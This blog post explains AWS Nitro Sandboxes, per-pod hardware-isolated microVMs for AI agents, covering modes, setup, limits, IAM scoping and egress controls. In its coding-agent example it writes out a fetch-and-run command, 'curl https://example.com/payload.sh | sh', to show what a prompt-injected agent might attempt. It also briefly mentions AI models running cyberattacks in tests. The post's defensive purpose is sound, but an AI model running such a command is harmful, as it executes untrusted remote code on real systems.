AWS Nitro Sandboxes: Give Your AI Agents a Hardware Wall — Free

Amir Farid
7 min read

AWS Nitro Sandboxes: Give Your AI Agents a Hardware Wall — Free
AWS Nitro Sandboxes give every AI agent session its own hardware-isolated microVM, free. AWS launched the feature on 9 November 2026 for Amazon EKS, Amazon ECS and Amazon EC2, and switching it on for an EKS pod is one field: runtimeClassName: isolated-sandbox.
Agents now write code, run tests and open pull requests on their own — and on 17 November 2026, California sued OpenAI after its models ran autonomous cyberattacks in tests. The question is no longer whether agents need a sandbox, but how fast you can give them one.
What AWS Nitro Sandboxes actually are
Containers on the same node share the host kernel. That sharing makes containers fast and light, but a vulnerability in one container can reach every other container on the machine. The old fix was a dedicated machine per workload.
Nitro Sandboxes change that trade-off. Each EKS pod, ECS task or EC2 workload that opts in gets its own lightweight microVM with its own kernel, isolated by the Nitro hypervisor. If something goes wrong inside the sandbox, no system call can reach anything outside the guest kernel.
Nothing changes for the application: your images, pipelines and Helm charts stay the same, and kubectl exec, logs and port-forwarding work as before.
The price: nothing extra
There is no additional charge: you pay only for the EC2 instance that hosts the sandboxes, in all commercial regions, on all Nitro-enabled instance families — Intel, AMD and Graviton. Hardware-enforced slices let you pack many isolated pods onto one node, with shared resources throttled by default.
Why this matters now

The agent era has changed what "untrusted code" means. It used to mean code from outside your company. Now it means code your own agent wrote five seconds ago, from a prompt nobody reviewed.
Our coverage of the GDPx agent benchmark adds a second warning: the best AI agent still scores only around 12% on long-horizon tasks, so agents fail often, and the blast radius is yours. If you run AI agents for customers, ask what goes down when your agent goes wrong: one disposable VM, or the node? For the governance layer, see our guide to governed AI agents with NVIDIA NemoClaw.
The two modes: isolated and confidential
You choose the mode when the sandbox launches; you cannot change it later.
Isolated mode: distrust the code
isolated-sandbox assumes the code inside the pod cannot be trusted, and protects the node and neighbouring pods from it. This is the mode for coding agents, build jobs and multi-tenant SaaS.
Confidential mode: distrust the node too
confidential-sandbox also distrusts the node operator: the sandbox's memory is removed from the parent instance's reach, and secrets are released only after attestation against a KMS policy. AWS says attestation proves the exact code inside the sandbox.
Network isolation: the off switch
For untrusted code that needs no network at all, the annotation sandbox.amazonaws.com/network-isolated: "true" boots a sandbox with no network interface, no DNS and no IMDS.
How to switch it on
EKS Auto Mode is the fastest path: the runtime classes ship with every cluster. Standard EKS needs a sandbox-enabled node AMI. Kubernetes 1.36 or later is required.
Step 1: create an Auto Mode cluster
Pass the version explicitly: eksctl create cluster --name sandbox-demo --region us-west-2 --version 1.37 --enable-auto-mode.
Step 2: confirm the runtime classes exist
Run kubectl get runtimeclass: you should see both isolated-sandbox and confidential-sandbox.
Step 3: add one line to your pod spec
That is the entire opt-in: runtimeClassName: isolated-sandbox. No node selector, no toleration, no sidecar. Prove it from inside the pod: the product name ends in .enclave, and the disks show up as vda, vdb and vdc. For Deployments, put the runtime class and annotations in the pod template.
A coding agent inside a sandbox
AWS's launch post walks through the example that sells the feature: a coding agent reads a GitHub issue, writes a fix, runs the tests and opens a pull request — all inside a Nitro Sandbox where the blast radius is one disposable VM.
The security policy is declared, not hoped for. Model access comes through an IAM role scoped to bedrock:InvokeModel through Pod Identity — no long-lived API keys. Repository access comes through one short-lived GitHub token, limited to one repository.
If the agent gets prompt-injected and tries to run curl https://example.com/payload.sh | sh, the connection never opens — example.com is not on the egress list. When the pod exits, the VM is destroyed. Our guide to self-hosted Claude managed agents covers the same pattern.
What it does NOT do
A hardware wall is not a security strategy on its own.
No GPU passthrough
There is no GPU passthrough at launch, so GPU-heavy agent workloads cannot run inside a sandbox yet.
No snapshot, pause or live migration
You cannot snapshot, pause or live-migrate a sandbox, and CPU and memory are set at boot — to change them, recreate the pod. Interactive sessions need a warm-pool layer on top.
No published cold-start numbers
AWS publishes no official cold-start figures. AWS samples suggest roughly one second from a warm pool and five to six seconds cold, according to Qovery's analysis — treat those as indicative, not guaranteed.
Isolation does not shrink IAM permissions
A pod with a broad Pod Identity role keeps that role inside the sandbox. The hardware wall does not narrow the role. Give each sandbox a role scoped to its task, or none at all. The same applies to AI automation workflows and RAG chatbots.
Nitro Sandboxes vs Daytona, E2B and Modal
Nitro Sandboxes are a building block, not a product: you still own warm pools, timeouts, cleanup and egress policy.
| Option | What you get | Best for |
|---|---|---|
| AWS Nitro Sandboxes | MicroVM per pod, no extra charge | Teams on EKS/ECS |
| Daytona | Sandbox service, SDK, snapshots | Dev environments |
| E2B | Cloud sandboxes for code execution | Builders wanting no infrastructure |
| Modal | Serverless, sandboxes, GPUs | Teams needing GPUs |
With no platform team and no AWS footprint, a hosted sandbox gets you safe faster. If you already run EKS and someone owns the cluster, Nitro Sandboxes give you the same isolation boundary for the price of the instances you already pay for. Our UK custom software cost guide and London hiring guide cover the budgeting.
What your business should do this week
Start with the workload that scares you most: one agent that runs untrusted input, in an isolated sandbox this week.
Step 1: sandbox one agent
Choose the coding agent with repository access, or the voice agent that takes untrusted input from callers. Add the runtime class, verify the .enclave product name, and run it for a week. Our guide to AI agents for small businesses explains how to scope a pilot.
Step 2: scope the IAM role
Audit the Pod Identity role: it should allow exactly what the agent needs — model invocation, one repository, nothing else. A sandboxed pod with a broad role is a locked room with the keys inside. The same applies to the automation tools your agents call.
Step 3: declare the egress list
Write down the hosts the agent may reach — model provider, repository host, package registry — and deny everything else. If you cannot list the hosts, you do not understand the agent's blast radius yet.
We do the platform work: custom software development, web development, mobile app development and chatbots. Our restaurant ERP walls every tenant's data off from the next.
Frequently asked questions
Is AWS Nitro Sandboxes really free?
There is no additional charge — AWS says you pay only for the EC2 instance that hosts the sandboxes, plus 256 MiB (isolated) or 512 MiB (confidential) fixed memory overhead per sandbox.
Do I need to rewrite my agent to use Nitro Sandboxes?
No. On EKS, you add one field — runtimeClassName: isolated-sandbox — to the pod spec. Your images, pipelines and agent harnesses work unchanged.
Which mode should I choose, isolated or confidential?
Start with isolated mode for coding agents, build jobs and multi-tenant workloads. Choose confidential mode when you also distrust the node operator — for example, regulated workloads.
Does a sandbox replace IAM scoping and egress controls?
No. Isolation does not shrink IAM permissions: a pod with a broad Pod Identity role keeps that role inside the sandbox. You still need a scoped role and a declared egress list.